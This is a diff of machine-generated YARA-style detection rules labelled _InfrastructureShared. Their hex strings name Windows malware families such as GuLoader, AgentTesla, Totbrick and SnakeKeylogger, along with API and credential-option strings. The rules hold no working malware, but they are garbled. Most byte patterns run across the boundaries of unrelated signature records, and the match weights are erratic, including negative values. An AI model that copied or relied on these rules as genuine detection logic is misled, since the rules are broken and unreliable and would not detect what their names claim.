"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 55 21 4d 54 42 00 01 00 0a 81 01 73 69 6d 70 6c 65 78 69 74 79 01 00 1e 81 01 68 75 72 74 6c 69 6e 67 6c 79 20 65 72 67 6f 6d 65 74 65 72 63 79 6b 6c 65 6e 2e 65 78 65 01 00 } //18467 + $a_70_1 = {6c } //-32493 l + $a_61_2 = {61 6c 20 73 6e 6f 74 6e 73 65 74 01 00 07 81 01 63 75 62 61 6e 65 72 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4d 30 31 21 4d 54 42 00 01 00 0c 81 01 6c 69 6e 69 65 76 6f 67 74 65 72 65 01 00 26 81 01 64 69 63 74 61 67 72 61 70 68 20 69 73 6c 61 } //28793 + $a_65_3 = {69 6e 67 20 64 69 73 70 72 6f 70 6f 72 74 69 6f 6e 73 01 00 0c 81 01 70 6c 6f 77 62 61 63 6b 2e 65 78 65 01 00 09 81 01 66 69 6c 6f 6c 6f 67 65 6e 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4a 48 31 32 33 21 4d 54 42 00 01 00 07 81 01 63 75 72 64 6c 65 72 01 00 0e 81 01 68 69 67 } //26989 + condition: + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*-32493+(#a_61_2 & 1)*28793+(#a_65_3 & 1)*26989) >=4 + +} +rule _InfrastructureShared_9104{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4d 30 31 21 4d 54 42 00 01 00 0c 81 01 6c 69 6e 69 65 76 6f 67 74 65 72 65 01 00 26 81 01 64 69 63 74 61 67 72 61 70 68 20 69 73 6c 61 6d 69 73 65 72 69 6e 67 20 64 69 73 70 72 6f 70 6f 72 74 69 } //18467 + $a_01_1 = {00 0c 81 01 70 6c 6f 77 62 61 63 6b 2e 65 78 65 01 00 09 81 01 66 69 6c 6f 6c 6f 67 65 6e 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4a 48 31 32 33 21 4d 54 42 00 01 00 07 81 01 63 75 72 64 6c 65 72 01 00 0e 81 01 68 69 67 68 70 61 73 73 66 69 6c 74 65 72 01 00 18 81 01 73 74 75 } //28271 + $a_65_2 = {61 6d 6d 65 72 6d 65 6e 6e 65 73 6b 65 72 6e 65 01 00 18 81 01 6f 76 65 72 79 65 61 72 20 72 61 61 67 65 6e 73 20 73 6d 79 6b 6b 65 74 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 4c 31 32 33 21 4d 54 42 00 01 00 17 81 01 44 61 72 64 65 6e 20 52 65 73 74 61 75 72 61 6e 74 73 } //25956 + $a_63_3 = {01 00 0a 81 01 41 65 74 6e 61 20 49 6e 63 2e 01 00 0e 81 01 61 66 62 6c 6e 64 69 6e 67 73 2e 65 78 65 01 00 16 81 01 53 63 69 65 6e 74 69 66 69 63 2d 41 74 6c 61 6e 74 61 20 49 6e 63 00 00 78 83 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 52 4c 31 32 33 21 4d 54 42 00 01 00 1d } //18720 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28271+(#a_65_2 & 1)*25956+(#a_63_3 & 1)*18720) >=4 + +} +rule _InfrastructureShared_9105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91443,7 +97036,7 @@ rule _InfrastructureShared_8587{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25963+(#a_2e_2 & 1)*28233+(#a_65_3 & 1)*26998) >=4 } -rule _InfrastructureShared_8588{ +rule _InfrastructureShared_9106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91456,7 +97049,7 @@ rule _InfrastructureShared_8588{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*26478+(#a_61_2 & 1)*24937+(#a_70_3 & 1)*24434) >=4 } -rule _InfrastructureShared_8589{ +rule _InfrastructureShared_9107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -91469,7 +97062,7 @@ rule _InfrastructureShared_8589{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28526+(#a_69_2 & 1)*385+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_8590{ +rule _InfrastructureShared_9108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -91477,39 +97070,26 @@ rule _InfrastructureShared_8590{ $a_46_0 = {59 32 56 3a 4e 43 53 43 2f 67 65 6e 65 72 69 63 5f 73 68 65 6c 6c 63 6f 64 65 5f 64 6f 77 6e 6c 6f 61 64 65 72 5f 73 70 65 63 69 66 69 63 00 01 00 05 01 68 6c 6c 6f 63 01 00 05 01 68 75 61 6c 41 01 00 05 01 68 56 69 72 74 01 00 } //16675 $a_00_1 = {00 46 } //790 䘀 $a_03_2 = {dd 2b f4 33 de 90 0a 0f 00 ba 90 90 90 00 01 00 0d 01 87 c0 81 f2 d1 19 89 } //-14655 - $a_1f_3 = {e0 00 00 78 83 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 74 62 72 69 63 6b 2e 41 44 21 4d 54 42 00 01 00 14 01 43 72 79 70 74 53 74 72 69 6e 67 54 6f 42 69 6e 61 72 79 41 01 00 04 01 43 54 69 70 01 00 12 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 4e 75 6d 61 01 00 0b 01 25 73 5c 53 68 65 6c 6c 4e 65 77 01 00 0e 01 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 00 00 78 83 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 48 21 4d 54 42 00 02 00 09 01 77 77 77 77 77 2e 70 68 70 01 00 1e 01 65 00 78 00 } //-16108 - $a_00_4 = {61 00 79 00 6c 00 6f 00 61 00 64 00 5c 00 68 00 74 00 74 00 70 00 01 00 0d 02 54 45 4d 50 90 02 04 2e 74 78 74 90 00 01 00 18 01 49 4e 54 45 52 4e 45 54 5f 4f 50 54 49 4f 4e 5f 50 41 53 53 57 4f 52 44 00 00 78 83 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 57 68 69 74 65 4e 6f 69 73 65 2e 41 } //101 + $a_1f_3 = {e0 00 00 78 83 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 74 62 72 69 63 6b 2e 41 44 21 4d 54 42 00 01 00 14 01 43 72 79 70 74 53 74 72 69 6e 67 54 6f 42 69 6e 61 72 79 41 01 00 04 01 43 54 69 70 01 00 12 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 4e 75 6d 61 01 00 0b 01 25 73 5c 53 68 65 6c 6c 4e 65 77 01 00 0e 01 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 00 00 78 83 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 57 68 69 74 65 4e 6f 69 73 65 2e 41 21 64 68 61 00 03 00 07 01 42 6c 61 63 6b 59 65 01 00 1b } //-16108 + $a_61_4 = {6c 65 44 65 62 75 67 50 72 69 76 69 6c 65 67 65 20 66 61 69 6c 20 21 01 00 17 01 53 70 65 63 69 66 69 63 20 4c 55 49 44 20 4e 4f 54 20 66 6f 75 6e 64 01 00 0c 00 33 d2 c7 45 e8 08 00 00 00 89 55 e4 00 00 78 83 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 } //17665 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*790+(#a_03_2 & 1)*-14655+(#a_1f_3 & 1)*-16108+(#a_00_4 & 1)*101) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*790+(#a_03_2 & 1)*-14655+(#a_1f_3 & 1)*-16108+(#a_61_4 & 1)*17665) >=4 } -rule _InfrastructureShared_8591{ +rule _InfrastructureShared_9109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 74 62 72 69 63 6b 2e 41 44 21 4d 54 42 00 01 00 14 01 43 72 79 70 74 53 74 72 69 6e 67 54 6f 42 69 6e 61 72 79 41 01 00 04 01 43 54 69 70 01 00 12 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 4e 75 6d } //18467 - $a_5c_2 = {68 65 6c 6c 4e 65 77 01 00 0e 01 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 00 00 78 83 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 48 21 4d 54 42 00 02 00 09 01 77 77 77 77 77 2e 70 68 70 01 00 1e 01 65 00 78 00 65 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 5c 00 68 00 74 00 74 00 70 00 } //9473 - $a_02_3 = {54 45 4d 50 [0-04] 2e 74 78 74 } //1 - $a_01_4 = {49 4e 54 45 52 4e 45 54 5f 4f 50 54 49 4f 4e 5f 50 41 53 53 57 4f 52 44 } //1 INTERNET_OPTION_PASSWORD + $a_5c_2 = {68 65 6c 6c 4e 65 77 01 00 0e 01 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 00 00 78 83 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 57 68 69 74 65 4e 6f 69 73 65 2e 41 21 64 68 61 00 03 00 07 01 42 6c 61 63 6b 59 65 01 00 1b 01 45 6e 61 62 6c 65 44 65 62 75 67 50 72 69 76 69 6c 65 67 65 20 66 61 69 6c } //9473 + $a_00_3 = {17 } //8480 + $a_65_4 = {69 66 69 63 20 4c 55 49 44 20 4e 4f 54 20 66 6f 75 6e 64 01 00 0c 00 33 d2 c7 45 e8 08 00 00 00 89 55 e4 00 00 78 83 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 51 4a 21 4d 54 42 00 01 00 08 81 01 4b 61 72 69 6d 6f 76 61 01 00 0e 81 01 43 75 72 69 6f 75 } //21249 condition: - ((#a_54_0 & 1)*18467+(#a_5c_2 & 1)*9473+(#a_02_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + ((#a_54_0 & 1)*18467+(#a_5c_2 & 1)*9473+(#a_00_3 & 1)*8480+(#a_65_4 & 1)*21249) >=4 } -rule _InfrastructureShared_8592{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 48 21 4d 54 42 00 02 00 09 01 77 77 77 77 77 2e 70 68 70 01 00 1e 01 65 00 78 00 65 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 5c 00 68 00 74 00 74 00 70 00 01 00 0d 02 } //16675 - $a_50_1 = {02 04 2e 74 78 74 90 00 01 00 18 01 49 4e 54 45 52 4e 45 54 5f 4f 50 54 49 4f 4e 5f 50 41 53 53 57 4f 52 44 00 00 78 83 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 57 68 69 74 65 4e 6f 69 } //17748 - $a_41_2 = {64 68 61 00 03 00 07 01 42 6c 61 63 6b 59 65 01 00 1b 01 45 6e 61 62 6c 65 44 65 62 75 67 50 72 69 76 69 6c 65 67 65 20 66 61 69 6c 20 21 } //25971 - $a_01_3 = {53 70 65 63 69 66 69 63 20 4c 55 49 44 20 4e 4f 54 20 66 6f 75 6e 64 } //1 Specific LUID NOT found - condition: - ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*17748+(#a_41_2 & 1)*25971+(#a_01_3 & 1)*1) >=5 - -} -rule _InfrastructureShared_8593{ +rule _InfrastructureShared_9110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -91521,7 +97101,7 @@ rule _InfrastructureShared_8593{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*26977+(#a_75_3 & 1)*385) >=5 } -rule _InfrastructureShared_8594{ +rule _InfrastructureShared_9111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -91534,7 +97114,7 @@ rule _InfrastructureShared_8594{ ((#a_46_0 & 1)*16675+(#a_69_2 & 1)*385+(#a_4d_3 & 1)*22099+(#a_6e_4 & 1)*24909) >=5 } -rule _InfrastructureShared_8595{ +rule _InfrastructureShared_9112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -91542,27 +97122,69 @@ rule _InfrastructureShared_8595{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 6f 70 70 65 72 2e 53 56 21 4d 54 42 00 01 00 0a 01 45 6e 67 69 6e 65 2e 70 64 62 01 00 08 01 54 45 58 43 4f 4f 52 44 01 00 0e 80 01 4d 61 69 6e 57 69 6e 64 6f 77 2e 63 70 70 01 00 0c } //16675 $a_72_1 = {70 68 69 63 73 2e 63 70 70 01 00 16 80 01 54 68 65 20 64 65 76 69 63 65 20 77 61 73 20 72 65 6d 6f 76 65 64 00 00 78 83 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //384 $a_73_2 = {61 2e 41 4d 49 44 33 33 21 4d 54 42 00 01 00 0c 00 20 00 01 00 00 58 20 00 01 00 00 5d 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 47 42 31 38 30 33 30 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 16 81 01 50 37 43 34 35 35 52 46 38 45 42 43 59 48 41 38 55 52 4a 35 38 35 00 00 78 83 00 00 } //21620 - $a_00_3 = {05 00 21 23 50 } //5 - $a_42_4 = {6f 63 6b 3a 53 6f 66 74 70 75 6c 73 00 01 00 19 80 01 54 78 76 68 6d 49 62 4f 46 75 63 62 39 37 44 68 6d 43 55 77 32 77 4e 5a 74 01 00 15 80 01 44 65 6c 65 74 65 43 72 69 74 } //16725 + $a_00_3 = {05 00 21 23 48 } //5 + $a_3a_4 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 45 30 31 21 4d 54 42 00 01 00 0c 81 01 6a 75 62 65 6c 69 64 69 6f 74 65 72 01 00 0c 81 01 61 75 6b 74 69 6f 6e 61 72 69 75 73 01 00 14 81 01 74 72 69 62 6c 61 73 74 69 63 20 65 6d 70 6c 6f 79 65 65 } //21587 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*384+(#a_73_2 & 1)*21620+(#a_00_3 & 1)*5+(#a_42_4 & 1)*16725) >=5 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*384+(#a_73_2 & 1)*21620+(#a_00_3 & 1)*5+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_8596{ +rule _InfrastructureShared_9113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 44 33 33 21 4d 54 42 00 01 00 0c 00 20 00 01 00 00 58 20 00 01 00 00 5d 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 47 42 31 38 30 33 30 01 00 09 81 01 47 65 } //18467 - $a_6a_1 = {63 74 01 00 16 81 01 50 37 43 34 35 35 52 46 38 45 42 43 59 48 41 38 55 52 4a 35 38 35 00 00 78 83 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 66 74 70 75 6c 73 00 01 00 19 80 01 54 78 76 68 6d 49 62 4f 46 75 63 62 39 37 44 68 6d 43 55 77 32 77 4e 5a 74 01 00 15 80 01 44 } //20340 - $a_74_2 = {43 72 69 74 69 63 61 6c 53 65 63 74 69 6f 6e 01 00 11 80 01 43 6f 53 65 74 50 72 6f 78 79 42 6c 61 6e 6b 65 74 01 00 05 80 01 53 6c 65 65 70 01 00 09 80 01 47 65 74 43 50 49 6e 66 6f 00 00 78 83 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 52 65 63 6f 6e 2e 53 } //27749 - $a_54_3 = {00 02 00 25 81 01 24 34 66 30 31 33 38 34 37 2d 34 65 66 61 2d 34 34 63 65 2d 61 35 37 63 2d 38 35 64 32 35 35 65 37 63 65 66 66 02 00 0a 81 01 5c 52 65 63 6f 6e 2e 74 78 74 02 00 1b 81 01 52 73 45 6e 63 50 2e 50 72 6f 70 65 72 74 } //8523 - $a_2e_4 = {65 73 6f 75 72 63 65 73 00 00 78 83 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 00 01 00 08 80 01 4b 38 47 4d 2e 70 64 62 01 00 0a 80 01 63 74 66 6d 6f 6e 2e 65 78 65 02 00 0c 80 01 6b 75 61 69 38 62 6f 78 2e 63 6f 6d 01 00 12 80 01 47 65 74 4c 61 73 74 41 63 74 69 } //25961 + $a_6a_1 = {63 74 01 00 16 81 01 50 37 43 34 35 35 52 46 38 45 42 43 59 48 41 38 55 52 4a 35 38 35 00 00 78 83 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 45 30 31 21 4d 54 42 00 01 00 0c 81 01 6a 75 62 65 6c 69 64 69 6f 74 65 72 01 00 0c 81 01 61 75 6b } //20340 + $a_6e_2 = {72 69 75 73 01 00 14 81 01 74 72 69 62 6c 61 73 74 69 63 20 65 6d 70 6c 6f 79 65 65 73 01 00 0c 81 01 64 69 6d 69 74 72 69 73 2e 65 78 65 01 00 0a 81 01 63 6c 6f 69 73 74 65 72 61 6c 00 00 78 83 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 45 31 21 4d 54 42 00 01 00 0d 81 01 64 61 } //26996 + $a_6f_3 = {6e 69 6e 67 65 6e 01 00 0c 81 01 6c 65 67 65 6d 73 68 6a 64 65 72 73 01 00 0e 81 01 6d 69 73 63 6f 6e 6a 75 67 61 74 69 6f 6e 01 00 10 81 01 61 70 70 65 6c 69 6e 73 74 61 6e 73 65 72 6e 65 01 00 0c 81 01 61 6e 6d 61 73 73 65 6c 73 65 6e 73 00 00 78 83 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //28781 + $a_64_4 = {72 2e 52 4a 4d 31 21 4d 54 42 00 01 00 14 81 01 61 72 62 65 6a 64 73 6d 69 6c 6a 6b 6f 6e 73 75 6c 65 6e 74 01 00 0c 81 01 73 6b 61 65 72 74 6f 72 73 64 61 67 01 00 0f 81 01 6d 69 63 72 6f 74 65 6c 65 70 68 6f 6e 69 63 01 00 09 81 01 63 6f 73 70 68 65 72 65 64 01 00 0b 81 01 63 72 6f 6f 6b } //28524 condition: - ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*20340+(#a_74_2 & 1)*27749+(#a_54_3 & 1)*8523+(#a_2e_4 & 1)*25961) >=5 + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*20340+(#a_6e_2 & 1)*26996+(#a_6f_3 & 1)*28781+(#a_64_4 & 1)*28524) >=5 } -rule _InfrastructureShared_8597{ +rule _InfrastructureShared_9114{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 45 30 31 21 4d 54 42 00 01 00 0c 81 01 6a 75 62 65 6c 69 64 69 6f 74 65 72 01 00 0c 81 01 61 75 6b 74 69 6f 6e 61 72 69 75 73 01 00 14 81 01 74 72 69 62 6c 61 73 74 69 63 20 65 6d 70 6c 6f 79 65 } //18467 + $a_00_1 = {0c } //29541 + $a_69_2 = {69 74 72 69 73 2e 65 78 65 01 00 0a 81 01 63 6c 6f 69 73 74 65 72 61 6c 00 00 78 83 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 45 31 21 4d 54 42 00 01 00 0d 81 01 64 61 6d 70 6b 6f 67 6e 69 6e 67 65 6e 01 00 0c 81 01 6c 65 67 65 6d 73 68 6a 64 65 } //385 + $a_00_3 = {0e } //29554 + $a_69_4 = {63 6f 6e 6a 75 67 61 74 69 6f 6e 01 00 10 81 01 61 70 70 65 6c 69 6e 73 74 61 6e 73 65 72 6e 65 01 00 0c 81 01 61 6e 6d 61 73 73 65 6c 73 65 6e 73 00 00 78 83 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4d 31 21 4d 54 42 00 01 00 14 81 01 61 72 62 65 6a 64 73 6d 69 6c 6a 6b } //385 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_69_2 & 1)*385+(#a_00_3 & 1)*29554+(#a_69_4 & 1)*385) >=5 + +} +rule _InfrastructureShared_9115{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 45 31 21 4d 54 42 00 01 00 0d 81 01 64 61 6d 70 6b 6f 67 6e 69 6e 67 65 6e 01 00 0c 81 01 6c 65 67 65 6d 73 68 6a 64 65 72 73 01 00 0e 81 01 6d 69 73 63 6f 6e 6a 75 67 61 74 69 6f 6e 01 00 10 81 } //18467 + $a_70_1 = {6c 69 6e 73 74 61 6e 73 65 72 6e 65 01 00 0c 81 01 61 6e 6d 61 73 73 65 6c 73 65 6e 73 00 00 78 83 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4d 31 21 4d 54 42 00 01 00 14 81 01 61 72 62 65 6a 64 73 6d 69 6c 6a 6b 6f 6e 73 75 6c 65 6e 74 01 00 0c 81 01 73 6b 61 65 72 74 6f 72 73 64 } //24833 + $a_00_2 = {0f } //26465 + $a_69_3 = {72 6f 74 65 6c 65 70 68 6f 6e 69 63 01 00 09 81 01 63 6f 73 70 68 65 72 65 64 01 00 0b 81 01 63 72 6f 6f 6b 6c 65 67 67 65 64 00 00 78 83 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 66 74 70 75 6c 73 00 01 00 19 80 01 54 78 76 68 6d 49 62 4f 46 75 63 62 39 37 44 68 6d 43 55 77 32 77 4e 5a 74 01 00 15 80 } //385 + $a_6c_4 = {74 65 43 72 69 74 69 63 61 6c 53 65 63 74 69 6f 6e 01 00 11 80 01 43 6f 53 65 74 50 72 6f 78 79 42 6c 61 6e 6b 65 74 01 00 05 80 01 53 6c 65 65 70 01 00 09 80 01 47 65 74 43 50 49 6e 66 6f 00 00 78 83 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 52 65 63 6f 6e } //17409 + condition: + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*24833+(#a_00_2 & 1)*26465+(#a_69_3 & 1)*385+(#a_6c_4 & 1)*17409) >=5 + +} +rule _InfrastructureShared_9116{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4d 31 21 4d 54 42 00 01 00 14 81 01 61 72 62 65 6a 64 73 6d 69 6c 6a 6b 6f 6e 73 75 6c 65 6e 74 01 00 0c 81 01 73 6b 61 65 72 74 6f 72 73 64 61 67 01 00 0f 81 01 6d 69 63 72 6f 74 65 6c 65 70 68 } //18467 + $a_63_1 = {00 09 81 01 63 6f 73 70 68 65 72 65 64 01 00 0b 81 01 63 72 6f 6f 6b 6c 65 67 67 65 64 00 00 78 83 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 66 74 70 75 6c 73 00 01 00 19 80 01 54 78 76 68 6d 49 62 4f 46 75 63 62 39 37 44 68 6d 43 55 77 32 77 4e 5a 74 01 00 15 80 01 44 65 6c 65 74 65 43 72 } //28271 + $a_63_2 = {6c 53 65 63 74 69 6f 6e 01 00 11 80 01 43 6f 53 65 74 50 72 6f 78 79 42 6c 61 6e 6b 65 74 01 00 05 80 01 53 6c 65 65 70 01 00 09 80 01 47 65 74 43 50 49 6e 66 6f 00 00 78 83 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 52 65 63 6f 6e 2e 53 4b 21 4d 54 42 00 02 00 25 81 01 } //29801 + $a_30_3 = {33 38 34 37 2d 34 65 66 61 2d 34 34 63 65 2d 61 35 37 63 2d 38 35 64 32 35 35 65 37 63 65 66 66 02 00 0a 81 01 5c 52 65 63 6f 6e 2e 74 78 74 02 00 1b 81 01 52 73 45 6e 63 50 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 83 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 } //13348 + $a_74_4 = {73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 00 01 00 08 80 01 4b 38 47 4d 2e 70 64 62 01 00 0a 80 01 63 74 66 6d 6f 6e 2e 65 78 65 02 00 0c 80 01 6b 75 61 69 38 62 6f 78 2e 63 6f 6d 01 00 12 80 01 47 65 74 4c 61 73 74 41 63 74 69 76 65 50 6f 70 75 70 01 00 10 80 01 64 47 4d 5f 54 57 5f 49 6e 73 74 61 6c 6c 65 72 00 00 78 83 00 00 06 } //25974 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28271+(#a_63_2 & 1)*29801+(#a_30_3 & 1)*13348+(#a_74_4 & 1)*25974) >=5 + +} +rule _InfrastructureShared_9117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -91576,7 +97198,7 @@ rule _InfrastructureShared_8597{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*17017+(#a_63_2 & 1)*25909+(#a_00_3 & 1)*6+(#a_55_4 & 1)*14918) >=5 } -rule _InfrastructureShared_8598{ +rule _InfrastructureShared_9118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -91588,7 +97210,7 @@ rule _InfrastructureShared_8598{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25938+(#a_66_2 & 1)*25345) >=6 } -rule _InfrastructureShared_8599{ +rule _InfrastructureShared_9119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -91602,7 +97224,7 @@ rule _InfrastructureShared_8599{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*384+(#a_43_2 & 1)*31091+(#a_6f_3 & 1)*28792+(#a_6c_4 & 1)*16748) >=6 } -rule _InfrastructureShared_8600{ +rule _InfrastructureShared_9120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -91616,7 +97238,7 @@ rule _InfrastructureShared_8600{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26469+(#a_23_2 & 1)*6+(#a_69_3 & 1)*25697+(#a_61_4 & 1)*29810) >=6 } -rule _InfrastructureShared_8601{ +rule _InfrastructureShared_9121{ meta: description = 